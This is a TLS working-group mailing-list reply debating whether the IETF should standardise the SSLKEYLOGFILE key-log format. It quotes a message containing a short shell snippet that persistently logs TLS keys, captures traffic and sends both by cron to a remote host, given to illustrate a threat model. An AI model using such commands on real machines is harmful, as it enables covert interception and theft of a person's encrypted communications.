[TLS] Re: 2nd Working Group Last Call for The SSLKEYLOGFILE Formatfor TLS

[Alicja Kario <[e-mail]>]

On Friday, 21 February 2025 15:43:32 CET, Andrei Popov wrote:
> I agree with Stephen and Tomas on this one. Additionally, in  
> my opinion, this WG should not have published any SSLKEYLOGFILE 
> documents, because they effectively standardize a backdoor.
> It is understood that there is a need for debugging, and it is 
> understood that certain SW vendors want to agree on a common log 
> data format and publish this format.
>
> However:
> - Debugging can (and should) be accomplished without a complete 
> compromise of the security protocol (arguably, with less 
> ease/convenience).
> - Backdoor specifications can be agreed upon outside the IETF 
> process and published as part of the respective SW vendor's 
> documentation, without involving the IETF.

The reason for existence of this mechanism is specifically to allow
regular users to provide debugging information useful to developers.

For that to be actually convinient, it needs to be widely supported.
As it already is in curl, Firefox, GnuTLS, wireshark...

> Cheers,
>
> Andrei
>
> -----Original Message-----
> From: Bellebaum, Thomas <[e-mail]> 
> Sent: Friday, February 21, 2025 2:18 AM
> To: [e-mail]; [e-mail]; 
> [e-mail]; [e-mail]
> Cc: [e-mail]
> Subject: [EXTERNAL] [TLS] Re: 2nd Working Group Last Call for 
> The SSLKEYLOGFILE Formatfor TLS
>
> [You don't often get email from 
> [e-mail]. Learn why this is 
> important at https://aka.ms/LearnAboutSenderIdentification ]
>
>> I disagree with this because if an attacker could write to the 
>> environment variable used by the program or is able to side-load a 
>> library and capture outbound packets, it is very likely that they 
>> already have privileged access to the machine.
>
> I am questioning the threat model. Just like Perfect Forward 
> Secrecy comes at an unbearable cost if you believe that TLS 
> cannot provide ANY security if you ever get compromised (The 
> advocate might say: after all, the database is not encrypted, 
> there are backups, ...).
>
> In that spirit, let us assume that some individual has root 
> access to an average user's computer.
> What could theoretically happen? Anything. Agreed.
> What could practically happen? Well, it depends...
>
> Say the user is using Linux (that is what I have, I assume 
> Windows has similar functionality):
>
> ```sh
> echo "export SSLKEYLOGFILE=/tmp/keys" >> /etc/profile echo 
> "tcpdump -w /tmp/traffic &" >> /etc/profile echo "0 * * * * scp 
> /tmp/keys /tmp/traffic [e-mail]:~/" >> /etc/crontab ``` 
> (You get the point. Let us assume that the kinks would be 
> filtered out before deploying :) )
>
> This is simple enough to fit in a forum post and fortunately 
> for our attacker, the TCP dumps can now be automatically parsed 
> using a range of tools since all relevant protocols 
> (TCP/TLS/HTTP/SMTP/Twitter-API/...) are well documented.
>
> Next, let us go out of our way and assume that interoperable 
> file formats did not exist.
> Again, in theory, our attacker could replace programs to leak 
> the keys, side-load a library, perform memory dumps and analyze 
> them, etc.
> Is he going to do that, though?
>
> All the above methods do not scale to many programs at once. In 
> each case, an attacker would first need to figure out a way to 
> do that (and do it reliably in an automated fashion).
> It would suprise me to learn that the same potential would rest 
> in three lines of shell code.
> Yes, state level actors, etc. have enough resources to not 
> care. How about an abusive partner in your relationship? A bit 
> of frustration on their side might go a long way.
>
> This is the difference I am worried about. It is not 
> quantifiable in the cryptographic sense (Any attacker with 
> resources X has probability < Y to achieve Z), but it is 
> relevant in practice.
>
> We can make the adversary work a bit harder using very simple 
> measures. For instance, by suggesting that applications should 
> notify their users if this method is used, the above gain 
> disappears.
> Cost: An extra if clause in the code to display the happy green 
> location bar. Effect: Can hardly be less than that.
>
>> There already is widely deployed software that leaks key information.  
>> OpenSSL has a trace facility, normally compiled out, that reports 
>> PKCS#12 passwords[1]. The keylog stuff *is* compiled-out by default. 
>> The OpenSSL library also provides a register-callback function that 
>> will get private key material and that is always enabled which the 
>> OpenSSL project does not consider a security risk[2]. I assume OpenSSL 
>> qualifies as widely-deployed. :)
>
> This is scary as well. I did not know that :) Still, this is 
> one implementation. We are considering interoperability-enabling 
> documents.
> If misuse of this API should become a real-world issue, the 
> OpenSSL project will almost certainly be able to remidy it 
> faster than the IETF.
>
>
>

-- 
Regards,
Alicja Kario
Principal Quality Engineer, RHEL Crypto team
Web: www.cz.redhat.com
Red Hat Czech s.r.o., Purkyňova 115, 612 00, Brno, Czech Republic